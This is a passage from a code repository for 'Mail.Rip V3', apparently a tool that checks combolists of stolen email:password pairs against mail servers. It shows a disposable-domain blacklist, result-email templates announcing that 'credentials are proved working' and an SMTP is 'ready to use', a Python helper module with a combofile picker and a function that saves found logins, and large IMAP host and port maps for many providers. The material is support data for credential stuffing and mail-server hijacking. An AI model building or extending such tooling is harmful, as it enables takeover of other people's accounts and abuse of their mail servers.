74 | "clixser.com",
75 | "cmail.net",
76 | "cmail.org",
77 | "coldemail.info",
78 | "cool.fr.nf",
79 | "courriel.fr.nf",
80 | "courrieltemporaire.com",
81 | "crapmail.org",
82 | "cust.in",
83 | "cuvox.de",
84 | "d3p.dk",
85 | "dacoolest.com",
86 | "dandikmail.com",
87 | "dayrep.com",
88 | "dcemail.com",
89 | "deadaddress.com",
90 | "deadspam.com",
91 | "delikkt.de",
92 | "despam.it",
93 | "despammed.com",
94 | "devnullmail.com",
95 | "dfgh.net",
96 | "digitalsanctuary.com",
97 | "dingbone.com",
98 | "disposableaddress.com",
99 | "disposableemailaddresses.com",
100 | "disposableinbox.com",
101 | "dispose.it",
102 | "dispostable.com",
103 | "dodgeit.com",
104 | "dodgit.com",
105 | "donemail.ru",
106 | "dontreg.com",
107 | "dontsendmespam.de",
108 | "drdrb.net",
109 | "dump-email.info",
110 | "dumpandjunk.com",
111 | "dumpyemail.com",
112 | "e-mail.com",
113 | "e-mail.org",
114 | "e4ward.com",
115 | "easytrashmail.com",
116 | "einmalmail.de",
117 | "einrot.com",
118 | "eintagsmail.de",
119 | "emailgo.de",
120 | "emailias.com",
121 | "emaillime.com",
122 | "emailsensei.com",
123 | "emailtemporanea.com",
124 | "emailtemporanea.net",
125 | "emailtemporar.ro",
126 | "emailtemporario.com.br",
127 | "emailthe.net",
128 | "emailtmp.com",
129 | "emailwarden.com",
130 | "emailx.at.hm",
131 | "emailxfer.com",
132 | "emeil.in",
133 | "emeil.ir",
134 | "emz.net",
135 | "ero-tube.org",
136 | "evopo.com",
137 | "explodemail.com",
138 | "express.net.ua",
139 | "eyepaste.com",
140 | "fakeinbox.com",
141 | "fakeinformation.com",
142 | "fansworldwide.de",
143 | "fantasymail.de",
144 | "fightallspam.com",
145 | "filzmail.com",
146 | "fivemail.de",
147 | "fleckens.hu",
148 | "frapmail.com",
149 | "friendlymail.co.uk",
150 | "fuckingduh.com",
151 | "fudgerub.com",
152 | "fyii.de",
153 | "garliclife.com",
154 | "gehensiemirnichtaufdensack.de",
155 | "get2mail.fr",
156 | "getairmail.com",
157 | "getmails.eu",
158 | "getonemail.com",
159 | "giantmail.de",
160 | "girlsundertheinfluence.com",
161 | "gishpuppy.com",
162 | "gmial.com",
163 | "goemailgo.com",
164 | "gotmail.net",
165 | "gotmail.org",
166 | "gotti.otherinbox.com",
167 | "great-host.in",
168 | "greensloth.com",
169 | "grr.la",
170 | "gsrv.co.uk",
171 | "guerillamail.biz",
172 | "guerillamail.com",
173 | "guerrillamail.biz",
174 | "guerrillamail.com",
175 | "guerrillamail.de",
176 | "guerrillamail.info",
177 | "guerrillamail.net",
178 | "guerrillamail.org",
179 | "guerrillamailblock.com",
180 | "gustr.com",
181 | "harakirimail.com",
182 | "hat-geld.de",
183 | "hatespam.org",
184 | "herp.in",
185 | "hidemail.de",
186 | "hidzz.com",
187 | "hmamail.com",
188 | "hopemail.biz",
189 | "ieh-mail.de",
190 | "ikbenspamvrij.nl",
191 | "imails.info",
192 | "inbax.tk",
193 | "inbox.si",
194 | "inboxalias.com",
195 | "inboxclean.com",
196 | "inboxclean.org",
197 | "infocom.zp.ua",
198 | "instant-mail.de",
199 | "ip6.li",
200 | "irish2me.com",
201 | "iwi.net",
202 | "jetable.com",
203 | "jetable.fr.nf",
204 | "jetable.net",
205 | "jetable.org",
206 | "jnxjn.com",
207 | "jourrapide.com",
208 | "jsrsolutions.com",
209 | "kasmail.com",
210 | "kaspop.com",
211 | "killmail.com",
212 | "killmail.net",
213 | "klassmaster.com",
214 | "klzlk.com",
215 | "koszmail.pl",
216 | "kurzepost.de",
217 | "lawlita.com",
218 | "letthemeatspam.com",
219 | "lhsdv.com",
220 | "lifebyfood.com",
221 | "link2mail.net",
222 | "litedrop.com",
223 | "lol.ovpn.to",
224 | "lolfreak.net",
225 | "lookugly.com",
226 | "lortemail.dk",
227 | "lr78.com",
228 | "lroid.com",
229 | "lukop.dk",
230 | "m21.cc",
231 | "mail-filter.com",
232 | "mail-temporaire.fr",
233 | "mail.by",
234 | "mail.mezimages.net",
235 | "mail.zp.ua",
236 | "mail1a.de",
237 | "mail21.cc",
238 | "mail2rss.org",
239 | "mail333.com",
240 | "mailbidon.com",
241 | "mailbiz.biz",
242 | "mailblocks.com",
243 | "mailbucket.org",
244 | "mailcat.biz",
245 | "mailcatch.com",
246 | "mailde.de",
247 | "mailde.info",
248 | "maildrop.cc",
249 | "maileimer.de",
250 | "mailexpire.com",
251 | "mailfa.tk",
252 | "mailforspam.com",
253 | "mailfreeonline.com",
254 | "mailguard.me",
255 | "mailin8r.com",
256 | "mailinater.com",
257 | "mailinator.net",
258 | "mailinator.org",
259 | "mailinator2.com",
260 | "mailincubator.com",
261 | "mailismagic.com",
262 | "mailme.lv",
263 | "mailme24.com",
264 | "mailmetrash.com",
265 | "mailmoat.com",
266 | "mailms.com",
267 | "mailnesia.com",
268 | "mailnull.com",
269 | "mailorg.org",
270 | "mailpick.biz",
271 | "mailrock.biz",
272 | "mailscrap.com",
273 | "mailshell.com",
274 | "mailsiphon.com",
275 | "mailtemp.info",
276 | "mailtome.de",
277 | "mailtothis.com",
278 | "mailtrash.net",
279 | "mailtv.net",
280 | "mailtv.tv",
281 | "mailzilla.com",
282 | "makemetheking.com",
283 | "manybrain.com",
284 | "mbx.cc",
285 | "mega.zik.dj",
286 | "meinspamschutz.de",
287 | "meltmail.com",
288 | "messagebeamer.de",
289 | "mezimages.net",
290 | "ministry-of-silly-walks.de",
291 | "mintemail.com",
292 | "misterpinball.de",
293 | "moncourrier.fr.nf",
294 | "monemail.fr.nf",
295 | "monmail.fr.nf",
296 | "monumentmail.com",
297 | "mt2009.com",
298 | "mt2014.com",
299 | "mycard.net.ua",
300 | "mycleaninbox.net",
301 | "mymail-in.net",
302 | "mypacks.net",
303 | "mypartyclip.de",
304 | "myphantomemail.com",
305 | "mysamp.de",
306 | "mytempemail.com",
307 | "mytempmail.com",
308 | "mytrashmail.com",
309 | "nabuma.com",
310 | "neomailbox.com",
311 | "nepwk.com",
312 | "nervmich.net",
313 | "nervtmich.net",
314 | "netmails.com",
315 | "netmails.net",
316 | "neverbox.com",
317 | "nice-4u.com",
318 | "nincsmail.hu",
319 | "nnh.com",
320 | "no-spam.ws",
321 | "noblepioneer.com",
322 | "nomail.pw",
323 | "nomail.xl.cx",
324 | "nomail2me.com",
325 | "nomorespamemails.com",
326 | "nospam.ze.tc",
327 | "nospam4.us",
328 | "nospamfor.us",
329 | "nospammail.net",
330 | "notmailinator.com",
331 | "nowhere.org",
332 | "nowmymail.com",
333 | "nurfuerspam.de",
334 | "nus.edu.sg",
335 | "objectmail.com",
336 | "obobbo.com",
337 | "odnorazovoe.ru",
338 | "oneoffemail.com",
339 | "onewaymail.com",
340 | "onlatedotcom.info",
341 | "online.ms",
342 | "opayq.com",
343 | "ordinaryamerican.net",
344 | "otherinbox.com",
345 | "ovpn.to",
346 | "owlpic.com",
347 | "pancakemail.com",
348 | "pcusers.otherinbox.com",
349 | "pjjkp.com",
350 | "plexolan.de",
351 | "poczta.onet.pl",
352 | "politikerclub.de",
353 | "poofy.org",
354 | "pookmail.com",
355 | "privacy.net",
356 | "privatdemail.net",
357 | "proxymail.eu",
358 | "prtnx.com",
359 | "putthisinyourspamdatabase.com",
360 | "qq.com",
361 | "quickinbox.com",
362 | "rcpt.at",
363 | "reallymymail.com",
364 | "realtyalerts.ca",
365 | "recode.me",
366 | "recursor.net",
367 | "reliable-mail.com",
368 | "rhyta.com",
369 | "rmqkr.net",
370 | "royal.net",
371 | "rtrtr.com",
372 | "s0ny.net",
373 | "safe-mail.net",
374 | "safersignup.de",
375 | "safetymail.info",
376 | "safetypost.de",
377 | "saynotospams.com",
378 | "schafmail.de",
379 | "schrott-email.de",
380 | "secretemail.de",
381 | "secure-mail.biz",
382 | "senseless-entertainment.com",
383 | "services391.com",
384 | "sharklasers.com",
385 | "shieldemail.com",
386 | "shiftmail.com",
387 | "shitmail.me",
388 | "shitware.nl",
389 | "shmeriously.com",
390 | "shortmail.net",
391 | "sibmail.com",
392 | "sinnlos-mail.de",
393 | "slapsfromlastnight.com",
394 | "slaskpost.se",
395 | "smashmail.de",
396 | "smellfear.com",
397 | "snakemail.com",
398 | "sneakemail.com",
399 | "sneakmail.de",
400 | "snkmail.com",
401 | "sofimail.com",
402 | "solvemail.info",
403 | "sogetthis.com",
404 | "soodonims.com",
405 | "spam4.me",
406 | "spamail.de",
407 | "spamarrest.com",
408 | "spambob.net",
409 | "spambog.ru",
410 | "spambox.us",
411 | "spamcannon.com",
412 | "spamcannon.net",
413 | "spamcon.org",
414 | "spamcorptastic.com",
415 | "spamcowboy.com",
416 | "spamcowboy.net",
417 | "spamcowboy.org",
418 | "spamday.com",
419 | "spamex.com",
420 | "spamfree.eu",
421 | "spamfree24.com",
422 | "spamfree24.de",
423 | "spamfree24.org",
424 | "spamgoes.in",
425 | "spamgourmet.com",
426 | "spamgourmet.net",
427 | "spamgourmet.org",
428 | "spamherelots.com",
429 | "spamhereplease.com",
430 | "spamhole.com",
431 | "spamify.com",
432 | "spaml.de",
433 | "spammotel.com",
434 | "spamobox.com",
435 | "spamslicer.com",
436 | "spamspot.com",
437 | "spamthis.co.uk",
438 | "spamtroll.net",
439 | "speed.1s.fr",
440 | "spoofmail.de",
441 | "stuffmail.de",
442 | "super-auswahl.de",
443 | "supergreatmail.com",
444 | "supermailer.jp",
445 | "superrito.com",
446 | "superstachel.de",
447 | "suremail.info",
448 | "talkinator.com",
449 | "teewars.org",
450 | "teleworm.com",
451 | "teleworm.us",
452 | "temp-mail.org",
453 | "temp-mail.ru",
454 | "tempe-mail.com",
455 | "tempemail.co.za",
456 | "tempemail.com",
457 | "tempemail.net",
458 | "tempinbox.co.uk",
459 | "tempinbox.com",
460 | "tempmail.eu",
461 | "tempmaildemo.com",
462 | "tempmailer.com",
463 | "tempmailer.de",
464 | "tempomail.fr",
465 | "temporaryemail.net",
466 | "temporaryforwarding.com",
467 | "temporaryinbox.com",
468 | "temporarymailaddress.com",
469 | "tempthe.net",
470 | "thankyou2010.com",
471 | "thc.st",
472 | "thelimestones.com",
473 | "thisisnotmyrealemail.com",
474 | "thismail.net",
475 | "throwawayemailaddress.com",
476 | "tilien.com",
477 | "tittbit.in",
478 | "tizi.com",
479 | "tmailinator.com",
480 | "toomail.biz",
481 | "topranklist.de",
482 | "tradermail.info",
483 | "trash-mail.at",
484 | "trash-mail.com",
485 | "trash-mail.de",
486 | "trash2009.com",
487 | "trashdevil.com",
488 | "trashemail.de",
489 | "trashmail.at",
490 | "trashmail.com",
491 | "trashmail.de",
492 | "trashmail.me",
493 | "trashmail.net",
494 | "trashmail.org",
495 | "trashymail.com",
496 | "trialmail.de",
497 | "trillianpro.com",
498 | "twinmail.de",
499 | "tyldd.com",
500 | "uggsrock.com",
501 | "umail.net",
502 | "uroid.com",
503 | "us.af",
504 | "venompen.com",
505 | "veryrealemail.com",
506 | "viditag.com",
507 | "viralplays.com",
508 | "vpn.st",
509 | "vsimcard.com",
510 | "vubby.com",
511 | "wasteland.rfc822.org",
512 | "webemail.me",
513 | "weg-werf-email.de",
514 | "wegwerf-emails.de",
515 | "wegwerfadresse.de",
516 | "wegwerfemail.com",
517 | "wegwerfemail.de",
518 | "wegwerfmail.de",
519 | "wegwerfmail.info",
520 | "wegwerfmail.net",
521 | "wegwerfmail.org",
522 | "wh4f.org",
523 | "whyspam.me",
524 | "willhackforfood.biz",
525 | "willselfdestruct.com",
526 | "winemaven.info",
527 | "wronghead.com",
528 | "x.ip6.li",
529 | "xagloo.com",
530 | "xemaps.com",
531 | "xents.com",
532 | "xmaily.com",
533 | "xoxy.net",
534 | "yep.it",
535 | "yogamaven.com",
536 | "yopmail.com",
537 | "yopmail.fr",
538 | "yopmail.net",
539 | "yourdomain.com",
540 | "yuurok.com",
541 | "z1p.biz",
542 | "za.com",
543 | "zehnminuten.de",
544 | "zehnminutenmail.de",
545 | "zippymail.info",
546 | "zoemail.net",
547 | "zomg.info"
548 | ]
549 | }
550 |
--------------------------------------------------------------------------------
/inc_emailcontent.json:
--------------------------------------------------------------------------------
1 | {
2 | "email_titles":[
3 | "MailRip Test Result ID",
4 | "MailRip Verification ID",
5 | "MailRip Inbox Test ID",
6 | "MailRip Email Test ID",
7 | "MailRip Auto-Email ID"
8 | ],
9 | "email_firstlines":[
10 | "hello and thank you for using mailrip.",
11 | "this is a automated message by mailrip.",
12 | "here is a new result from mailrip for you.",
13 | "you receive this email because of a new result.",
14 | "this is a new result sent to you by mailrip."
15 | ],
16 | "email_secondlines":[
17 | "the following credentials are proved working.",
18 | "you can grab the data of the working smtp below.",
19 | "the smtp below is working and ready to use.",
20 | "for more details rerad the information below.",
21 | "the found smtp is hereby verified for sending emails."
22 | ],
23 | "email_thirdlines":[
24 | "you can find all these details in the results directory, too.",
25 | "check the results directory for more.",
26 | "a text file with all found logins can be found in results directory.",
27 | "remember all data is saved to text files within the results directory as well.",
28 | "this one as well as more working logins are stored in the results directory."
29 | ]
30 | }
31 |
--------------------------------------------------------------------------------
/inc_etc.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/opt/python@3.8/bin/python3
2 | # -*- coding: utf-8 -*-
3 |
4 | __author__ = 'DrPython3'
5 | __date__ = '2021-12-04'
6 | __version__ = '2.51'
7 | __contact__ = 'https://github.com/DrPython3'
8 |
9 | '''
10 | -------------------------------------
11 | Various Functions used by Mail.Rip V3
12 | -------------------------------------
13 |
14 | Part of << Mail.Rip V3: https://github.com/DrPython3/MailRipV3 >>
15 | '''
16 |
17 | # [IMPORTS]
18 | # ---------
19 |
20 | import sys
21 | import os
22 | import re
23 | import json
24 | import tkinter as tk
25 | from tkinter import filedialog
26 |
27 | # [FUNCTIONS]
28 | # -----------
29 |
30 | def result(target_file, result_output):
31 | '''
32 | Saves any output to a certain file in directory "results".
33 |
34 | :param str target_file: file to use
35 | :param str result_output: output to save
36 | :return: True (output saved), False (output not saved)
37 | '''
38 | # create results directory if not exists:
39 | try:
40 | os.makedirs('results')
41 | except:
42 | pass
43 | # write output to given file:
44 | try:
45 | output_file = os.path.join('results', str(f'{target_file}.txt'))
46 | with open(str(output_file), 'a+') as output:
47 | output.write(str(f'{result_output}\n'))
48 | return True
49 | except:
50 | return False
51 |
52 | def email_verification(email):
53 | '''
54 | Checks whether a certain string represents an email.
55 |
56 | :param str email: string to check
57 | :return: True (is email), False (no email)
58 | '''
59 | email_format = '^([\w\.\-]+)@([\w\-]+)((\.(\w){2,63}){1,3})$'
60 | # check given email using format-string:
61 | if re.search(email_format, email):
62 | return True
63 | else:
64 | return False
65 |
66 | def blacklist_check(email):
67 | '''
68 | Checks whether the domain of a given email is on the blacklist.
69 |
70 | :param str email: email to check
71 | :return: True (blacklisted), False (not blacklisted)
72 | '''
73 | # try to load blacklist from JSON-file:
74 | try:
75 | with open('inc_domainblacklist.json') as included_imports:
76 | load_blacklist = json.load(included_imports)
77 | blacklist = (load_blacklist['domainblacklist'])
78 | # on errors, set empty blacklist:
79 | except:
80 | blacklist = []
81 | # check email domain against blacklist:
82 | if str(email.split('@')[1]) in blacklist:
83 | return True
84 | else:
85 | return False
86 |
87 | def domain_verification(domain):
88 | '''
89 | Checks whether a certain string represents a domain.
90 |
91 | :param str domain: string to check
92 | :return: True (is domain), False (no domain)
93 | '''
94 | domain_format = '^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$'
95 | # check whether string is a valid domain:
96 | if re.search(domain_format, domain):
97 | return True
98 | else:
99 | return False
100 |
101 | def clean():
102 | '''
103 | NO-GUI-Version only: Provides a blank screen on purpose.
104 |
105 | :return: None
106 | '''
107 | try:
108 | if os.name == 'nt':
109 | os.system('cls')
110 | else:
111 | os.system('clear')
112 | except:
113 | pass
114 | return None
115 |
116 | def get_combofile_nogui():
117 | '''
118 | NO-GUI-Version only: Provides a open-file-dialog using tkinter.
119 |
120 | :return: combofile chosen by user
121 | '''
122 | open_file = tk.Tk()
123 | # hide Tk window:
124 | open_file.withdraw()
125 | # start dialog:
126 | import_file = filedialog.askopenfilename(
127 | title='Select Combofile',
128 | filetypes=(('txt files', '*.txt'),('all files','*.*'))
129 | )
130 | # kill Tk window and return chosen file:
131 | try:
132 | open_file.destroy()
133 | open_file.quit()
134 | except:
135 | pass
136 | return import_file
137 |
138 | # DrPython3 (C) 2021 @ GitHub.com
139 |
--------------------------------------------------------------------------------
/inc_imapdomains.json:
--------------------------------------------------------------------------------
1 | {
2 | "imapdomains":[
3 | "",
4 | "imap.",
5 | "imaps.",
6 | "mail.",
7 | "email.",
8 | "mx.",
9 | "inbound.",
10 | "securemail.",
11 | "imap.mail.",
12 | "imap-mail."
13 | ]
14 | }
15 |
--------------------------------------------------------------------------------
/inc_imapports.json:
--------------------------------------------------------------------------------
1 | {
2 | "imapports":[
3 | 143,
4 | 993
5 | ]
6 | }
7 |
--------------------------------------------------------------------------------
/inc_imapservices.json:
--------------------------------------------------------------------------------
1 | {
2 | "imapservices":{
3 | "online.de":"imap.1und1.de:993",
4 | "163.com":"imap.163.com:993",
5 | "1and1.co.uk":"imap.1und1.de:993",
6 | "1and1.com":"imap.1und1.de:993",
7 | "1and1.de":"imap.1und1.de:993",
8 | "1and1.es":"imap.1und1.de:993",
9 | "1and1.fr":"imap.1und1.de:993",
10 | "1blu.de":"imap.1blu.de:993",
11 | "1und1.de":"imap.1und1.de:993",
12 | "a1.net":"securemail.a1.net:993",
13 | "active24.com":"email.active24.com:993",
14 | "activist.com":"imap.mail.com:993",
15 | "adexec.com":"imap.mail.com:993",
16 | "africamail.com":"imap.mail.com:993",
17 | "aim.com":"imap.aim.com:993",
18 | "aircraftmail.com":"imap.mail.com:993",
19 | "alabama.usa.com":"imap.mail.com:993",
20 | "alaska.usa.com":"imap.mail.com:993",
21 | "alice-dsl.de":"mail.o2mail.de:993",
22 | "alice-dsl.net":"mail.o2mail.de:993",
23 | "alice.de":"imap.alice.de:993",
24 | "alice.it":"in.alice.it:143",
25 | "allergist.com":"imap.mail.com:993",
26 | "alumni.com":"imap.mail.com:993",
27 | "alumnidirector.com":"imap.mail.com:993",
28 | "americamail.com":"imap.mail.com:993",
29 | "ameritech.net":"inbound.att.net:995",
30 | "anarki.dk":"mail.telenor.dk:143",
31 | "anderledes.dk":"mail.telenor.dk:143",
32 | "angelic.com":"imap.mail.com:993",
33 | "aol.com":"imap.aol.com:993",
34 | "aol.com":"imap.de.aol.com:993",
35 | "aol.de":"imap.aim.com:993",
36 | "aon.at":"securemail.a1.net:993",
37 | "aqua.plala.or.jp":"aqua.mail.plala.or.jp:110",
38 | "archaeologist.com":"imap.mail.com:993",
39 | "arcor.de":"imap.arcor.de:993",
40 | "arcormail.de":"imap.arcor.de:993",
41 | "arizona.usa.com":"imap.mail.com:993",
42 | "artlover.com":"imap.mail.com:993",
43 | "arubapec.it":"imaps.pec.aruba.it:993",
44 | "asia-mail.com":"imap.mail.com:993",
45 | "atheist.com":"imap.mail.com:993",
46 | "att.net":"inbound.att.net:995",
47 | "australiamail.com":"imap.mail.com:993",
48 | "bartender.net":"imap.mail.com:993",
49 | "begavet.dk":"mail.telenor.dk:143",
50 | "belgacom.net":"imap.proximus.be:993",
51 | "bell.net":"imap.bell.net:993",
52 | "bellsouth.net":"inbound.att.net:995",
53 | "berlin.com":"imap.mail.com:993",
54 | "bigger.com":"imap.mail.com:993",
55 | "bigpond.com":"mail.bigpond.com:995",
56 | "bigpond.net.au":"mail.bigpond.com:995",
57 | "bigpond.net":"mail.bigpond.com:995",
58 | "bikerider.com":"imap.mail.com:993",
59 | "birdlover.com":"imap.mail.com:993",
60 | "bitnisse.dk":"mail.telenor.dk:143",
61 | "bk.ru":"imap.mail.ru:993",
62 | "blader.com":"imap.mail.com:993",
63 | "blu.it":"imapmail.libero.it:143",
64 | "bluemail.ch":"imaps.bluewin.ch:993",
65 | "bluewin.ch":"imaps.bluewin.ch:993",
66 | "boardermail.com":"imap.mail.com:993",
67 | "brazilmail.com":"imap.mail.com:993",
68 | "brew-master.com":"imap.mail.com:993",
69 | "btinternet.com":"mail.btinternet.com:993",
70 | "btopenworld.com":"mail.btinternet.com:993",
71 | "california.usa.com":"imap.mail.com:993",
72 | "californiamail.com":"imap.mail.com:993",
73 | "caress.com":"imap.mail.com:993",
74 | "catlover.com":"imap.mail.com:993",
75 | "cgl.ucsf.edu":"plato.cgl.ucsf.edu:993",
76 | "charter.com":"mobile.charter.net:993",
77 | "charter.net":"mobile.charter.net:993",
78 | "cheerful.com":"imap.mail.com:993",
79 | "chef.net":"imap.mail.com:993",
80 | "chello.at":"mail.upcmail.at:993",
81 | "chemist.com":"imap.mail.com:993",
82 | "chinamail.com":"imap.mail.com:993",
83 | "city.dk":"mail.telenor.dk:143",
84 | "cityweb.de":"mail.cityweb.de:993",
85 | "clerk.com":"imap.mail.com:993",
86 | "cliffhanger.com":"imap.mail.com:993",
87 | "club-internet.fr":"imap.sfr.fr:993",
88 | "cneweb.de":"mx.versatel.de:143",
89 | "collector.org":"imap.mail.com:993",
90 | "columnist.com":"imap.mail.com:993",
91 | "comcast.net":"imap.comcast.net:993",
92 | "comic.com":"imap.mail.com:993",
93 | "computer4u.com":"imap.mail.com:993",
94 | "consultant.com":"imap.mail.com:993",
95 | "contractor.net":"imap.mail.com:993",
96 | "cool.dk":"mail.telenor.dk:143",
97 | "coolsite.net":"imap.mail.com:993",
98 | "corp.mail.ru":"imap.mail.ru:993",
99 | "counsellor.com":"imap.mail.com:993",
100 | "count.com":"imap.mail.com:993",
101 | "couple.com":"imap.mail.com:993",
102 | "cutey.com":"imap.mail.com:993",
103 | "cyber-wizard.com":"imap.mail.com:993",
104 | "cyberdude.com":"imap.mail.com:993",
105 | "cyberdude.dk":"mail.telenor.dk:143",
106 | "cybergal.com":"imap.mail.com:993",
107 | "cyberjunkie.dk":"mail.telenor.dk:143",
108 | "dallasmail.com":"imap.mail.com:993",
109 | "dbzmail.com":"imap.mail.com:993",
110 | "deliveryman.com":"imap.mail.com:993",
111 | "diplomats.com":"imap.mail.com:993",
112 | "directbox.com":"imap.directbox.com:993",
113 | "disciples.com":"imap.mail.com:993",
114 | "dk-online.dk":"mail.telenor.dk:143",
115 | "dk2net.dk":"mail.telenor.dk:143",
116 | "doctor.com":"imap.mail.com:993",
117 | "doglover.com":"imap.mail.com:993",
118 | "doramail.com":"imap.mail.com:993",
119 | "dr.com":"imap.mail.com:993",
120 | "dublin.com":"imap.mail.com:993",
121 | "earthling.net":"imap.mail.com:993",
122 | "earthlink.net":"imap.earthlink.net:143",
123 | "eclipso":"mail.eclipso.de:993",
124 | "elinstallatoer.dk":"mail.telenor.dk:143",
125 | "elsker.dk":"mail.telenor.dk:143",
126 | "elvis.dk":"mail.telenor.dk:143",
127 | "elvisfan.com":"imap.mail.com:993",
128 | "email.com":"imap.mail.com:993",
129 | "email.cz":"imap.seznam.cz:993",
130 | "email.de":"imap.web.de:993",
131 | "email.dk":"mail.telenor.dk:143",
132 | "email.it":"imapmail.email.it:993",
133 | "emailsrvr.com":"secure.emailsrvr.com:993",
134 | "engineer.com":"imap.mail.com:993",
135 | "englandmail.com":"imap.mail.com:993",
136 | "epost.de":"mail.epost.de:993",
137 | "europe.com":"imap.mail.com:993",
138 | "europemail.com":"imap.mail.com:993",
139 | "execs.com":"imap.mail.com:993",
140 | "exmail.de":"imap.web.de:993",
141 | "fald.dk":"mail.telenor.dk:143",
142 | "fan.com":"imap.mail.com:993",
143 | "fedt.dk":"mail.telenor.dk:143",
144 | "feelings.com":"imap.mail.com:993",
145 | "feminin.dk":"mail.telenor.dk:143",
146 | "film.dk":"mail.telenor.dk:143",
147 | "financier.com":"imap.mail.com:993",
148 | "firemail.de":"firemail.de:143",
149 | "fireman.net":"imap.mail.com:993",
150 | "flash.net":"inbound.att.net:995",
151 | "florida.usa.com":"imap.mail.com:993",
152 | "foni.net":"mx.versatel.de:143",
153 | "footballer.com":"imap.mail.com:993",
154 | "forening.dk":"mail.telenor.dk:143",
155 | "fps-ingolstadt.de":"imap.fps-ingolstadt.de:993",
156 | "freakmail.de":"imap.web.de:993",
157 | "free.fr":"imap.free.fr:993",
158 | "freenet.de":"mx.freenet.de:993",
159 | "freesurf.ch":"imap.sunrise.ch:993",
160 | "gadefejer.dk":"mail.telenor.dk:143",
161 | "gandi.net":"mail.gandi.net:993",
162 | "gardener.com":"imap.mail.com:993",
163 | "gason.dk":"mail.telenor.dk:143",
164 | "gelsennet.de":"mx.versatel.de:143",
165 | "genion.de":"imap.o2mail.de:993",
166 | "geologist.com":"imap.mail.com:993",
167 | "germanymail.com":"imap.mail.com:993",
168 | "gigahost.dk":"mail.gigahost.dk:993",
169 | "gigapec.it":"imaps.pec.aruba.it:993",
170 | "gmail.com":"imap.gmail.com:993",
171 | "gmail.com":"imap.googlemail.com:993",
172 | "gmx.at":"imap.gmx.net:993",
173 | "gmx.biz":"imap.gmx.net:993",
174 | "gmx.ca":"imap.gmx.com:993",
175 | "gmx.ch":"imap.gmx.net:993",
176 | "gmx.cn":"imap.gmx.com:993",
177 | "gmx.co.in":"imap.gmx.com:993",
178 | "gmx.co.uk":"imap.gmx.com:993",
179 | "gmx.com.br":"imap.gmx.com:993",
180 | "gmx.com.my":"imap.gmx.com:993",
181 | "gmx.com.tr":"imap.gmx.com:993",
182 | "gmx.com":"imap.gmx.com:993",
183 | "gmx.de":"imap.gmx.net:993",
184 | "gmx.es":"imap.gmx.com:993",
185 | "gmx.eu":"imap.gmx.net:993",
186 | "gmx.fr":"imap.gmx.com:993",
187 | "gmx.hk":"imap.gmx.com:993",
188 | "gmx.ie":"imap.gmx.com:993",
189 | "gmx.info":"imap.gmx.net:993",
190 | "gmx.it":"imap.gmx.com:993",
191 | "gmx.li":"imap.gmx.com:993",
192 | "gmx.net":"imap.gmx.net:993",
193 | "gmx.org":"imap.gmx.net:993",
194 | "gmx.ph":"imap.gmx.com:993",
195 | "gmx.pt":"imap.gmx.com:993",
196 | "gmx.ru":"imap.gmx.com:993",
197 | "gmx.se":"imap.gmx.com:993",
198 | "gmx.sg":"imap.gmx.com:993",
199 | "gmx.tm":"imap.gmx.com:993",
200 | "gmx.tw":"imap.gmx.com:993",
201 | "gmx.us":"imap.gmx.com:993",
202 | "go4more.de":"imap.1und1.de:993",
203 | "goneo.de":"imap.goneo.de:993",
204 | "google.com":"imap.gmail.com:993",
205 | "google.com":"imap.googlemail.com:993",
206 | "googlemail.com":"imap.gmail.com:993",
207 | "googlemail.com":"imap.googlemail.com:993",
208 | "graduate.org":"imap.mail.com:993",
209 | "gransy.com":"imap.gransy.com:993",
210 | "graphic-designer.com":"imap.mail.com:993",
211 | "grin.dk":"mail.telenor.dk:143",
212 | "grov.dk":"mail.telenor.dk:143",
213 | "hackermail.com":"imap.mail.com:993",
214 | "hairdresser.net":"imap.mail.com:993",
215 | "hamburg.de":"mail2.hamburg.de:993",
216 | "hanse.net":"imap.o2mail.de:993",
217 | "hardworking.dk":"mail.telenor.dk:143",
218 | "heaven.dk":"mail.telenor.dk:143",
219 | "hemmelig.dk":"mail.telenor.dk:143",
220 | "hilarious.com":"imap.mail.com:993",
221 | "hispeed.ch":"imap.hispeed.ch:993",
222 | "hockeymail.com":"imap.mail.com:993",
223 | "homemail.com":"imap.mail.com:993",
224 | "hot-shot.com":"imap.mail.com:993",
225 | "hotmail.co.jp":"imap-mail.outlook.com:993",
226 | "hotmail.co.uk":"imap-mail.outlook.com:993",
227 | "hotmail.com.br":"imap-mail.outlook.com:993",
228 | "hotmail.com":"imap-mail.outlook.com:993",
229 | "hotmail.de":"imap-mail.outlook.com:993",
230 | "hotmail.es":"imap-mail.outlook.com:993",
231 | "hotmail.fr":"imap-mail.outlook.com:993",
232 | "hotmail.it":"imap-mail.outlook.com:993",
233 | "hour.com":"imap.mail.com:993",
234 | "htp-tel.de":"mail.htp-tel.de :993",
235 | "huleboer.dk":"mail.telenor.dk:143",
236 | "humanoid.net":"imap.mail.com:993",
237 | "illinois.usa.com":"imap.mail.com:993",
238 | "image.dk":"mail.telenor.dk:143",
239 | "iname.com":"imap.mail.com:993",
240 | "inbound.dk":"mail.telenor.dk:143",
241 | "inbox.lt":"mail.inbox.lt:995",
242 | "inbox.lv":"mail.inbox.lv:995",
243 | "inbox.ru":"imap.mail.ru:993",
244 | "indbakke.dk":"mail.telenor.dk:143",
245 | "infile.dk":"mail.telenor.dk:143",
246 | "info.dk":"mail.telenor.dk:143",
247 | "ingpec.eu":"imaps.pec.aruba.it:993",
248 | "innocent.com":"imap.mail.com:993",
249 | "inode.at":"mail.inode.at:993",
250 | "inorbit.com":"imap.mail.com:993",
251 | "instruction.com":"imap.mail.com:993",
252 | "instructor.net":"imap.mail.com:993",
253 | "insurer.com":"imap.mail.com:993",
254 | "internetserver.cz":"imap.gransy.com:993",
255 | "inwind.it":"imapmail.libero.it:143",
256 | "io.dk":"mail.telenor.dk:143",
257 | "iol.it":"imapmail.libero.it:143",
258 | "irelandmail.com":"imap.mail.com:993",
259 | "ispgateway.de":"sslmailpool.ispgateway.de:993",
260 | "it.dk":"mail.telenor.dk:143",
261 | "italymail.com":"imap.mail.com:993",
262 | "ix.netcom.com":"imap.earthlink.net:143",
263 | "japan.com":"imap.mail.com:993",
264 | "jazztel.es":"imap.gmail.com:993",
265 | "jazztel.es":"imap.googlemail.com:993",
266 | "journalist.com":"imap.mail.com:993",
267 | "jyde.dk":"mail.telenor.dk:143",
268 | "kabelbw.de":"imap.kabelbw.de:993",
269 | "kabelmail":"imap.kabelmail.de:993",
270 | "keromail.com":"imap.mail.com:993",
271 | "kidcity.be":"imap.proximus.be:993",
